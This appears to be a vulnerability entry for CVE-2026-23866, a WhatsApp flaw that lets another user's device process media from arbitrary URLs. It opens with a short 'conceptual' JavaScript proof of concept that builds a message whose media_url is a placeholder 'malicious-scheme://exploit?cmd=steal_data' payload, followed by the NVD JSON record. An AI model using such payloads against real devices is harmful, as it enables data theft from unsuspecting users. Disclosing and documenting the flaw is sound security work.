CVE-2026-23866

/* * Conceptual PoC for CVE-2026-23866 * Demonstrates the payload structure to trigger arbitrary URL processing. */ // Malicious payload structure for the AI Rich Response const maliciousMessage = { type: "ai_rich_response", data: { source: "instagram_reels", // Vulnerable field: arbitrary URL media_url: "malicious-scheme://exploit?cmd=steal_data" } }; // In a real attack scenario, this object would be serialized // and sent via the WhatsApp protocol to the target device. console.log("Sending payload:", JSON.stringify(maliciousMessage));

{"cve": {"id": "CVE-2026-23866", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:29.980", "lastModified": "2026-05-11T20:00:28.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incomplete validation of AI rich response messages for Instagram Reels in WhatsApp for iOS v2.25.8.0 to v2.26.15.72 and WhatsApp for Android v2.25.8.0 to v2.26.7.10 could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device, including triggering OS-controlled custom URL scheme handlers. We have not seen evidence of exploitation in the wild."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:android:*:*", "versionStartIncluding": "2.25.8.0", "versionEndIncluding": "2.26.7.10", "matchCriteriaId": "A9F5775D-2CBD-427C-94CD-D01C11559B06"}, {"vulnerable": true, "criteria": "cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:iphone_os:*:*", "versionStartIncluding": "2.25.8.0", "versionEndIncluding": "2.26.15.72", "matchCriteriaId": "9C83C05F-A88D-48B7-8DE8-5B8CBD9FC6B9"}]}]}], "references": [{"url": "https://www.facebook.com/security/advisories/cve-2026-23866", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.whatsapp.com/security/advisories/2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}